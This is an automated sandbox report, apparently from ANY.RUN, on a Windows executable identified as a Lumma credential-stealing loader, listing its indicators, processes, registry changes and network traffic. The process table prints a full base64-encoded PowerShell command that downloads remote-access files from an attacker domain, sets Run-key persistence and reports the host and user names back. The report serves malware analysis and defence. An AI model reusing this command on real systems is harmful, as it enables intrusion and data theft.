| File name: | ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe |
| Full analysis: | https://app.any.run/tasks/8a7e2474-f9db-4d4d-9fe4-e8adda2530b9 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | January 16, 2025, 16:28:47 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections |
| MD5: | FA9267820F3EC58AEDA90772A3C9FC44 |
| SHA1: | 7DE04331D18B49FA1025BA170ED1949A25131C82 |
| SHA256: | ED0191E29843FBCC3C36A0788229F2EB308272F0C32B316E7DE489A5485727B1 |
| SSDEEP: | 6144:bHKv4NQtE/0o55XT5DV1lE0lE1PXI5QoL8YS/rIaLhE/3e8wMo:TKvU/0o55XT5DV1lE0lEEQpYStCPe3 |
MALICIOUS
Changes powershell execution policy (Bypass)
- powershell.exe (PID: 5576)
- ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe (PID: 4328)
Steals credentials from Web Browsers
- ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe (PID: 4328)
Actions looks like stealing of personal data
- ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe (PID: 4328)
LUMMA has been detected (YARA)
- ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe (PID: 4328)
LUMMA mutex has been found
- ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe (PID: 4328)
Bypass execution policy to execute commands
- powershell.exe (PID: 5576)
- powershell.exe (PID: 556)
Probably downloads file via BitsAdmin (POWERSHELL)
- powershell.exe (PID: 556)
SUSPICIOUS
The process bypasses the loading of PowerShell profile settings
- powershell.exe (PID: 5576)
Base64-obfuscated command line is found
- powershell.exe (PID: 5576)
BASE64 encoded PowerShell command has been detected
- powershell.exe (PID: 5576)
Gets or sets the security protocol (POWERSHELL)
- powershell.exe (PID: 5576)
- powershell.exe (PID: 556)
Application launched itself
- powershell.exe (PID: 5576)
Searches for installed software
- ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe (PID: 4328)
Starts POWERSHELL.EXE for commands execution
- ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe (PID: 4328)
- powershell.exe (PID: 5576)
The process executes Powershell scripts
- ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe (PID: 4328)
Detects reflection assembly loader (YARA)
- powershell.exe (PID: 5576)
INFO
Checks supported languages
- ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe (PID: 4328)
Reads the computer name
- ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe (PID: 4328)
Disables trace logs
- powershell.exe (PID: 5576)
Reads the software policy settings
- ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe (PID: 4328)
Checks proxy server information
- powershell.exe (PID: 5576)
Reads the machine GUID from the registry
- ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe (PID: 4328)
The process uses the downloaded file
- powershell.exe (PID: 556)
Gets or sets the time when the file was last written to (POWERSHELL)
- powershell.exe (PID: 556)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 556)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 556)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Generic Win/DOS Executable (50) |
|---|---|---|
| .exe | | | DOS Executable Generic (49.9) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2014:03:10 16:57:04+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 14.1 |
| CodeSize: | 265728 |
| InitializedDataSize: | 46080 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x8570 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
Total processes
111
Monitored processes
4
Malicious processes
2
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 556 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -nOPrO -EXecuTIONp BypasS -wiNd hId -ENco YwBoAGQASQBSACAAJABFAG4AdgA6AEEAUABQAEQAQQBUAEEAOwAgACQAYQBIAGwAVABpAFoAPQBHAEMAbQAgAFMAVABhAFIAdAAtAGIAaQB0AFMAdABSAEEAbgBzAGYARQByACAALQBFAHIAUgBvAFIAQQBDAHQASQBvAE4AIABTAEkATABFAG4AVABsAFkAQwBPAG4AVABpAG4AdQBFADsAIAAkAHMASABoADMAZAB5AG8AaQA9ACcAVwBpAG4ATQBlAGQAaQBhAEMAbABpAGUAbgB0ACcAOwAgAFsATgBlAHQALgBzAEUAcgB2AEkAQwBFAFAAbwBJAG4AdABNAGEATgBBAEcARQByAF0AOgA6AFMAZQBDAHUAUgBpAFQAWQBQAFIATwBUAG8AYwBvAEwAIAA9ACAAWwBuAGUAdAAuAFMAZQBjAHUAUgBpAHQAWQBQAFIAbwB0AG8AYwBvAEwAdABZAFAARQBdADoAOgB0AGwAcwAxADIAOwAgACQATQByAEsAUgBXAGkAPQAnAGgAdAB0AHAAcwA6AC8ALwBtAG8AdABlAGwANgBsAGEAeAAuAGMAbwBtAC8AZgBsAHkALwBtAG8AdAAuAHoAaQBwACcAOwAgACQAUgByAEoAMABLAEYAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBOAHYAOgBBAHAAUABkAGEAVABBACwAIAAkAHMASABoADMAZAB5AG8AaQA7ACAAVAByAFkAIAB7ACAATgBpACAALQBwAEEAdABoACAAJABFAG4AVgA6AEEAcABwAGQAQQB0AGEAIAAtAG4AQQBNAEUAIAAkAHMASABoADMAZAB5AG8AaQAgAC0ASQB0AEUAbQBUAFkAUABlACAAJwBkAGkAcgBlAGMAdABvAHIAeQAnADsAIABBAGQAZAAtAFQAeQBwAEUAIAAtAGEAcwBTAGUAbQBCAGwAeQBuAEEAbQBlACAAUwB5AFMAVABFAG0ALgBJAG8ALgBDAE8AbQBwAFIARQBzAFMAaQBvAE4ALAAgAHMAWQBTAHQAZQBNAC4ASQBPAC4AYwBvAE0AUABSAEUAUwBTAGkAbwBuAC4ARgBpAGwAZQBzAFkAUwBUAGUAbQAgAC0AZQBSAHIAbwBSAGEAYwB0AEkAbwBOACAAUwBJAEwAZQBOAHQAbAB5AGMAbwBOAFQAaQBOAHUAZQA7ACAAJABCAFcAVABiADgATgBYAD0AKABXAEcARQBUACAALQB1AFIASQAgACQATQByAEsAUgBXAGkAIAAtAHUAcwBlAEIAQQBzAEkAYwBwAEEAcgBTAEkATgBHACkALgBDAG8AbgBUAGUAbgBUADsAIAAkAHMAWQBqAG8AVgBiAFQAPQBuAGUAdwAtAE8AQgBKAEUAYwB0ACAAUwBZAFMAVABlAG0ALgBJAG8ALgBNAGUAbQBPAHIAWQBTAFQAUgBlAGEAbQA7ACAAJABzAFkAagBvAFYAYgBUAC4AVwBSAEkAVABFACgAJABCAFcAVABiADgATgBYACwAIAAwACwAIAAkAEIAVwBUAGIAOABOAFgALgBsAEUATgBHAFQASAApADsAIAAkAHMAWQBqAG8AVgBiAFQALgBTAEUAZQBrACgAMAAsACAAWwBTAHkAcwBUAEUAbQAuAGkATwAuAHMARQBFAEsATwBSAEkAZwBpAE4AXQA6ADoAQgBlAEcAaQBuACkAIAB8ACAATwBVAFQALQBOAHUATABsADsAIAAkAFMARQBiAFkAbQBxAEQAVwA9AG4ARQB3AC0AbwBiAGoARQBDAHQAIABzAHkAUwB0AGUATQAuAGkAbwAuAEMATwBNAHAAcgBFAFMAcwBJAG8AbgAuAFoAaQBwAGEAcgBjAEgAaQB2AGUAKAAkAHMAWQBqAG8AVgBiAFQALAAgAFsAUwBZAFMAVABFAE0ALgBpAE8ALgBjAG8ATQBwAFIARQBTAFMAaQBPAG4ALgB6AGkAcABBAHIAQwBoAEkAdgBlAG0ATwBkAGUAXQA6ADoAcgBFAGEAZAApADsAIABmAG8AUgBlAGEAYwBoACgAJAA4AE0AQgBaAEwAMwAgAGkAbgAgACQAUwBFAGIAWQBtAHEARABXAC4ARQBuAFQAcgBJAGUAcwApACAAewAgACQAawAzAHoASwBCAHAANQA9ACIAewAwAH0AXAB7ADEAfQAiACAALQBmACAAJABSAHIASgAwAEsARgAsACAAJAA4AE0AQgBaAEwAMwAuAE4AYQBNAEUAOwAgACQAQwB6ADMAcABUAEwAPQAkADgATQBCAFoATAAzAC4ATwBQAEUAbgAoACkAOwAgACQAZAAyAGsAVQBYAEgATQA9AFsAcwBZAHMAdABlAE0ALgBpAG8ALgBGAEkATABFAF0AOgA6AGMAcgBlAEEAdABFACgAJABrADMAegBLAEIAcAA1ACkAOwAgACQAQwB6ADMAcABUAEwALgBDAG8AcABZAHQAbwAoACQAZAAyAGsAVQBYAEgATQApADsAIAAkAGQAMgBrAFUAWABIAE0ALgBDAGwATwBTAGUAKAApADsAIAAkAEMAegAzAHAAVABMAC4AYwBMAE8AUwBFACgAKQA7AH0AIAAkAFMARQBiAFkAbQBxAEQAVwAuAGQAaQBzAFAATwBzAGUAKAApADsAIAAkAHMAWQBqAG8AVgBiAFQALgBkAEkAcwBwAG8AUwBFACgAKQA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAJABXAEkAZwBkAG0ARABSAEcAPQBAACgAJwBwAGMAaQBjAGEAcABpAC4AZABsAGwAJwAsACAAJwBuAHMAawBiAGYAbAB0AHIALgBpAG4AZgAnACwAIAAnAG4AcwBtAF8AdgBwAHIAbwAuAGkAbgBpACcALAAgACcAUABDAEkAQwBMADMAMgAuAEQATABMACcALAAgACcAYwBsAGkAZQBuAHQAMwAyAC4AaQBuAGkAJwAsACAAJwBQAEMASQBDAEgARQBLAC4ARABMAEwAJwAsACAAJwBIAFQAQwBUAEwAMwAyAC4ARABMAEwAJwAsACAAJwBtAHMAdgBjAHIAMQAwADAALgBkAGwAbAAnACwAIAAnAFQAQwBDAFQATAAzADIALgBEAEwATAAnACwAIAAnAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACcALAAgACcATgBTAE0ALgBMAEkAQwAnACwAIAAnAEEAdQBkAGkAbwBDAGEAcAB0AHUAcgBlAC4AZABsAGwAJwAsACAAJwByAGUAbQBjAG0AZABzAHQAdQBiAC4AZQB4AGUAJwApADsAIAAkAE0AUgBhAGYAUQB4AFUAPQAnAGgAdAB0AHAAcwA6AC8ALwBtAG8AdABlAGwANgBsAGEAeAAuAGMAbwBtAC8AZgBsAHkALwAnADsAIABOAGkAIAAtAHAAQQBUAGgAIAAkAGUATgBWADoAYQBQAHAARABhAFQAYQAgAC0ATgBBAG0AZQAgACQAcwBIAGgAMwBkAHkAbwBpACAALQBpAHQARQBNAHQAeQBQAEUAIAAnAGQAaQByAGUAYwB0AG8AcgB5ACcAOwAgAGkARgAgACgAJABhAEgAbABUAGkAWgApACAAewAgACQAVwBJAGcAZABtAEQAUgBHACAAfAAgAEYATwByAGUAQQBDAGgALQBPAEIAagBlAEMAVAAgAHsAIAAkAHgAQwAzADgAdABIAD0AJABNAFIAYQBmAFEAeABVACsAJABfADsAIAAkAE8ANwBPAHAAdQBiAGUAZQA9ACIAJABSAHIASgAwAEsARgBcACQAXwAiADsAIABzAFQAYQByAHQALQBCAEkAVABTAFQAcgBBAE4AcwBGAGUAUgAgAC0AcwBPAFUAUgBjAGUAIAAkAHgAQwAzADgAdABIACAALQBEAEUAUwB0AEkATgBhAFQAaQBPAE4AIAAkAE8ANwBPAHAAdQBiAGUAZQA7ACAAfQA7AH0AIABFAGwAUwBlACAAewAgACQAVwBJAGcAZABtAEQAUgBHACAAfAAgAEYATwByAGUAQQBDAGgALQBPAEIAagBlAEMAVAAgAHsAIAAkAHgAQwAzADgAdABIAD0AJABNAFIAYQBmAFEAeABVACsAJABfADsAIAAkAE8ANwBPAHAAdQBiAGUAZQA9ACIAewAwAH0AXAB7ADEAfQAiACAALQBmACAAJABSAHIASgAwAEsARgAsACAAJABfADsAIAAkAHcAdABMAGkAMwBvAHoAdQA9ACcAQgBpAFQAcwBBAGQATQBJAE4ALgBFAHgAZQAgAC8AdABSAEEAbgBTAGYARQByACAANgB6AHEAZwB4AHIAIAAvAGQATwBXAE4ATABPAGEAZAAgAC8AcABSAGkATwByAEkAdABZACAATgBPAFIAbQBhAGwAIAAnACwAIAAkAHgAQwAzADgAdABIACwAIAAkAE8ANwBPAHAAdQBiAGUAZQAgAC0ASgBvAEkATgAgACcAIAAnADsAIABpAGUAeAAgAC0AYwBvAG0AbQBhAG4AZAAgACQAdwB0AEwAaQAzAG8AegB1ADsAfQA7ACAAfQA7ACAAfQA7ACAAJABEAHYAegBVAEcAZQBOAD0AZwBlAHQALQBJAFQAZQBtACAAJABSAHIASgAwAEsARgAgAC0AZgBPAFIAYwBFADsAIAAkAEQAdgB6AFUARwBlAE4ALgBBAFQAdAByAGkAQgBVAFQARQBzAD0AJwBIAGkAZABkAGUAbgAnADsAIABjAEQAIAAkAFIAcgBKADAASwBGADsAIAAkADcAcQAxAHcATwBFAFkAOAA9ACQAUgByAEoAMABLAEYAKwAnAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwA7ACAAUwBUAGEAUgBUACAAYwBsAEkAZQBOAFQAMwAyAC4AZQB4AEUAOwAgAG4AZQBXAC0AaQBUAEUAbQBwAHIAbwBQAGUAUgBUAFkAIAAtAHAAYQB0AGgAIAAnAEgAawBDAHUAOgBcAFMAbwBGAFQAdwBhAFIAZQBcAE0ASQBjAHIATwBzAG8ARgB0AFwAVwBpAG4ARABPAFcAUwBcAGMAVQBSAFIAZQBOAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AQQBtAGUAIAAkAHMASABoADMAZAB5AG8AaQAgAC0AdgBBAGwAdQBlACAAJAA3AHEAMQB3AE8ARQBZADgAIAAtAHAAUgBvAHAAZQBSAFQAWQBUAFkAcABFACAAJwBTAHQAcgBpAG4AZwAnADsAIAAkAHkASABXAFMAWgA9AHAAUwAgAGMAbABpAGUAbgB0ADMAMgAgAC0AZQBSAFIAbwByAGEAYwBUAEkAbwBOACAAUwBpAEwAZQBuAFQAbABZAGMAbwBOAFQAaQBuAHUAZQA7ACAAJABtAGYAZQBBAGYAPQAiAGgAdAB0AHAAcwA6AC8ALwBtAG8AdABlAGwANgBsAGEAeAAuAGMAbwBtAC8AcwB0AGsALwBwAGEAdABjAGgAZQBkAC4AcABoAHAAPwBjAHAAbgBtAGUAPQAkAGUAbgB2ADoAQwBPAG0AcAB1AFQAZQBSAG4AQQBNAGUAJgB1AHMAbgBtAGUAPQAkAEUAbgB2ADoAdQBTAGUAcgBuAGEATQBFACYAcABhAHIAYQBtAD0AIgA7ACAASQBmACAAKAAkAHkASABXAFMAWgAuAEkARAApACAAewAgACQAZgBWAFcAWgBlAD0AJABtAGYAZQBBAGYAKwAnAGEANwBGADAAJwA7ACAASQBOAHYATwBrAEUALQB3AGUAYgBSAEUAUQB1AEUAcwBUACAAJABmAFYAVwBaAGUAIAAtAHUAcwBFAEIAQQBTAGkAQwBwAEEAcgBTAGkAbgBHADsAfQAgAEUATABTAGUAIAB7ACAAJABmAFYAVwBaAGUAPQAkAG0AZgBlAEEAZgArACcAcgBTAFQAcAA4ACcAOwAgAEkATgB2AE8AawBFAC0AdwBlAGIAUgBFAFEAdQBFAHMAVAAgACQAZgBWAFcAWgBlACAALQB1AFMARQBiAGEAUwBJAEMAUABhAFIAcwBpAE4ARwA7AH0AOwA= | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4328 | "C:\Users\admin\Desktop\ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe" | C:\Users\admin\Desktop\ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Modules
| |||||||||||||||
| 4540 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5576 | powershell -exec bypass -f "C:\Users\admin\AppData\Local\Temp\CDWDWDJ7ODZ8YE3EGU5I.ps1" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
16 317
Read events
16 302
Write events
15
Delete events
0
Modification events
| (PID) Process: | (5576) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (5576) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (5576) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (5576) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (5576) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (5576) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (5576) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (5576) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (5576) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (5576) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
Executable files
0
Suspicious files
2
Text files
9
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5576 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4dyzjggf.fhy.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4328 | ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe | C:\Users\admin\AppData\Local\Temp\CDWDWDJ7ODZ8YE3EGU5I.ps1 | text | |
MD5:CB2F8714D903EE68EAAA52B78261EB00 | SHA256:93F204A36A7F6AC6C77D1FA6AFF94F05D40A1CCCC0B76C7740E622AC3182C531 | |||
| 556 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_hgllh4tb.1hw.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 556 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_weuh4u2i.ytj.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5576 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_m3mx45uz.lrv.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 556 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_mx4jtkas.fy5.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 556 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_womahm3y.5i2.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 556 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ka1vvtof.5th.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 556 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wteuznen.agw.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 556 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:7E77D608637055A65E8A4AEE148F7B55 | SHA256:89DD39B57297A1FDDBFA06393083CA54D9C93E108B3BAB855BE31E82A555C86E | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
27
TCP/UDP connections
33
DNS requests
10
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | HEAD | 403 | 23.254.226.157:443 | https://motel6lax.com/fly/pcicapi.dll | unknown | — | — | — |
— | — | HEAD | 403 | 23.254.226.157:443 | https://motel6lax.com/fly/nskbfltr.inf | unknown | — | — | — |
— | — | HEAD | 403 | 23.254.226.157:443 | https://motel6lax.com/fly/nsm_vpro.ini | unknown | — | — | — |
— | — | HEAD | — | 23.254.226.157:443 | https://motel6lax.com/fly/PCICL32.DLL | unknown | — | — | — |
— | — | HEAD | 403 | 23.254.226.157:443 | https://motel6lax.com/fly/client32.ini | unknown | — | — | — |
— | — | HEAD | 403 | 23.254.226.157:443 | https://motel6lax.com/fly/TCCTL32.DLL | unknown | — | — | — |
— | — | HEAD | 403 | 23.254.226.157:443 | https://motel6lax.com/fly/client32.exe | unknown | — | — | — |
— | — | HEAD | 403 | 23.254.226.157:443 | https://motel6lax.com/fly/NSM.LIC | unknown | — | — | — |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 2.23.227.215:443 | www.bing.com | Ooredoo Q.S.C. | QA | whitelisted |
— | — | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
4328 | ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe | 104.21.62.153:443 | impresnyb.cyou | CLOUDFLARENET | — | unknown |
4328 | ed0191e29843fbcc3c36a0788229f2eb308272f0c32b316e7de489a5485727b1.exe | 185.169.68.23:443 | arting.ee | Virtuaal.com OU | EE | unknown |
5576 | powershell.exe | 23.254.226.157:443 | motel6lax.com | HOSTWINDS | US | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.bing.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
impresnyb.cyou |
| unknown |
arting.ee |
| unknown |
motel6lax.com |
| unknown |
self.events.data.microsoft.com |
| whitelisted |